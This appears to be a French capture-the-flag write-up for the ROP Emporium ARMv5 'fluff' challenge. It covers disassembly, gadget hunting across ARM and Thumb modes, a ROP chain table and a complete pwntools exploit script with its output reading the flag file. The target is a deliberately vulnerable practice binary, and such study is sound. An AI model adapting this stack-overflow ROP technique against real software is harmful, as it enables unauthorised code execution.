Contents

Ropemporium ARMv5 fluff

armv5 fluff

Introduction

Cet exercice va nous confronter à des gadgets spécifiques.

L’énoncé ropemporium : fluff

Découverte

Le contenu du challenge

-rw-r--r-- 1 root root    33 Jul 15  2020 flag.txt
-rwxr-xr-x 1 root root  8252 Jul 15  2020 fluff_armv5
-rwxr-xr-x 1 root root  8276 Jul 19  2021 fluff_armv5-hf
-rw-r--r-- 1 1000 1000 11250 Jul 19  2021 fluff_armv5.zip
-rwxr-xr-x 1 root root  7816 Jul 19  2021 libfluff_armv5-hf.so
-rwxr-xr-x 1 root root  7804 Jul 15  2020 libfluff_armv5.so

Execution avec qemu

armv5/06_fluff# qemu-arm fluff_armv5
fluff by ROP Emporium
ARMv5

You know changing these strings means I have to rewrite my solutions...
> OKOKOKOKKKKKKKKKKKKKKKKKKKKKKK
Thank you!

Analyse

Le programme principal

┌ 24: int main (int argc, char **argv, char **envp);
│           ; var int32_t var_4h @ sp+0x4
│           0x000105b8      00482de9       push {fp, lr}
│           0x000105bc      04b08de2       add fp, var_4h
│           0x000105c0      b1ffffeb       bl sym.imp.pwnme
│           0x000105c4      0030a0e3       mov r3, 0
│           0x000105c8      0300a0e1       mov r0, r3
└           0x000105cc      0088bde8       pop {fp, pc}

Le programme embarque un fonction inutilisée mais qui appelle la fonction print_file. De cet fait la fonction possède une entrée dans la PLT.

┌ 24: sym.usefulFunction ();
│           ; var int32_t var_4h @ sp+0x4
│           0x000105d0      00482de9       push {fp, lr}
│           0x000105d4      04b08de2       add fp, var_4h
│           0x000105d8      08009fe5       ldr r0, str.nonexistent     ; [0x10674:4]=0x656e6f6e ; "nonexistent"
│           0x000105dc      b3ffffeb       bl sym.imp.print_file
│           0x000105e0      0000a0e1       mov r0, r0                  ; 0x10674 ; "nonexistent"
└           0x000105e4      0088bde8       pop {fp, pc}

Le programme embarque en particulier un symbol attirant notre attention sur des gadgets utiles :

        ;-- questionableGadgets:
        0x000105ec      0b00bde8       pop {r0, r1, r3}
        0x000105f0      11ff2fe1       bx r1

La librairie

Recherche de gadgets

Pour écrire notre chaîne :

Le seul gadget d’ecriture (str) est le suivant :

0x000101c8 : strbhs r0, [r0], #-0x580 ; andeq r0, r0, r4 ; andeq r0, r0, r8 ; andeq r0, r0, sp ; ldmda r4!, {r8, sb, sl, fp, sp, pc}

strbhs stock le contenu de r0 à l’adresse pointée par r0 - 0x580.

Il n’est donc pas utilisable.

En mode THUMB.

# ROPgadget --binary fluff_armv5 --thumb
Gadgets information
============================================================


0x000103ea : str r6, [r5, #0x44] ; bx r0
0x000103e8 : str r7, [r3, #0x54] ; str r6, [r5, #0x44] ; bx r0

On a un gadget ne mode thumb qui nous permet de stocker le contenu de r6 à l’adresse contenude dans r5-0x44.

0x000103ea : str r6, [r5, #0x44] ; bx r0

Pour charger r5 et r6 on a en mode 32 bits : 0x00010658 : pop {r4, r5, r6, r7, r8, sb, sl, pc}

Et pour charger r0 en vue de bx r0 et passer en mode thumb :

0x000105ec     pop {r0, r1, r3}; bx r1

Avec cela on peut écrire “flag.txt” dans .data.

Ensuite pour appeller print_file il nous faut charger r0 avec l’adresse de la chaîne.

0x00010474     pop {r3, pc}
0x000105c8     mov r0, r3 ; pop {fp, pc}

### La chaine de ROP

Valeur gadget commentaire
Première moitié
0x00010658 pop {r4, r5, r6, r7, r8, sb, sl, pc} Charges les 7 registres
0 pour r4
.data-0x44 pour r5, adresse cible -0x44
b"flag" pour r6 :
0 pour r7
0 pour r8
0 pour sb
0 pour sl
0x000105ec pop {r0, r1, r3}; bx r1 charge r0 et r1 et execute le gadget chargé dans r1 en mode thumb
Seconde moitié
0x00010658 pop {r4, r5, r6, r7, r8, sb, sl, pc} pour r0 en vue de bx r0 juste après
0x000103ea+1 str r6, [r5, #0x44] ; bx r0 pour r1 : ecrit r6 et saute à r0 en mode 32
0 r3
0 pour r4 du gadget pop {r4, r5, r6, r7, r8, sb, sl, pc}
.data-0x44+4 pour r5
b".txt" pour r6
0 pour r7
0 pour r8
0 pour sb
0 pour sl
0x000105ec pop {r0, r1, r3}; bx r1 charge r0 et r1 et execute le gadget chargé dans r1 en mode thumb
0x00010658 pop {r4, r5, r6, r7, r8, sb, sl, pc} pour r0 en vue de bx r0 juste après
0x000103ea+1 str r6, [r5, #0x44] ; bx r0 pour r1 : ecrit r6 et saute à r0 en mode 32
Appel de print_file
.data pour r3
0x000105c8 mov r0, r3 ; pop {fp, pc} r0=.data
0   Pour pop fp
print_file  retour sur print_file

Exploitation

Le script python

##!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

# ropemporium ARMv5 fluff
# Set up pwntools for the correct architecture
elf = context.binary = ELF('fluff_armv5')

# 164 : read
# 176 : ret
gs='''
b *pwnme+176
'''

# Gadgets
# En mode 32
# pop {r4, r5, r6, r7, r8, sb, sl, pc}
g_pop_r45678 = 0x010658

# pop {r0, r1, r3}; bx r1
g_pop_r013_bxr1 = 0x000105ec

# pop {r3, pc}
g_pop_r3 = 0x00010474

# 0x000105c8 : mov r0, r3 ; pop {fp, pc}
g_mov_r0r3 = 0x000105c8

# En mode thumb
# str r6, [r5, #0x44] ; bx r0
g_str_r6r5_bxr0 = 0x000103ea

if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)
else:
    io = process([elf.path])

data = elf.get_section_by_name('.data').header['sh_addr']
print_file = elf.plt['print_file']

log.info(f".data       = 0x{data}")
log.info(f".print_file = 0x{print_file}")

io.recvuntil(b"> ")

offset=0x24

flagfile=b"flag.txt"

PL=b"A"*offset
# "flag"
PL+=p32(g_pop_r45678)
PL+=p32(0)               # r4
PL+=p32(data-0x44)       # r5
PL+=flagfile[:4]         # r6
PL+=p32(0)               # r7
PL+=p32(0)               # r8
PL+=p32(0)               # sb
PL+=p32(0)               # sl
PL+=p32(g_pop_r013_bxr1) # pc
PL+=p32(g_pop_r45678)    # r0
PL+=p32(g_str_r6r5_bxr0+1) # r1
PL+=p32(0)               # r3 fake

# ".txt"
PL+=p32(0)               # r4
PL+=p32(data+4-0x44)     # r5
PL+=flagfile[4:8]        # r6
PL+=p32(0)               # r7
PL+=p32(0)               # r8
PL+=p32(0)               # sb
PL+=p32(0)               # sl
PL+=p32(g_pop_r013_bxr1) # pc
PL+=p32(g_pop_r3)    # r0 : gadget suivant
PL+=p32(g_str_r6r5_bxr0+1) # r1
PL+=p32(0)               # r3 fake

# appel de print_file
PL+=p32(data)            # consommé par pop r3
PL+=p32(g_mov_r0r3)      # mov r0,r3; pop{r11,pc}
PL+=p32(0)               # pour r11
PL+=p32(print_file)

io.sendline(PL)

io.recvuntil(b"ROPE")
flag=io.recvline().decode()
log.success(f"flag : ROPE{flag}")
io.close()

Son déroulement

armv5/06_fluff$ python3 solve.py
[*] '/home/jce/w/ropemporium/armv5/06_fluff/fluff_armv5'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
    RUNPATH:  b'.'
[+] Starting local process '/home/jce/w/ropemporium/armv5/06_fluff/fluff_armv5': pid 14999
[*] .data       = 0x135204
[*] .print_file = 0x66736
[+] flag : ROPE{a_placeholder_32byte_flag!}
[*] Stopped process '/home/jce/w/ropemporium/armv5/06_fluff/fluff_armv5' (pid 14999)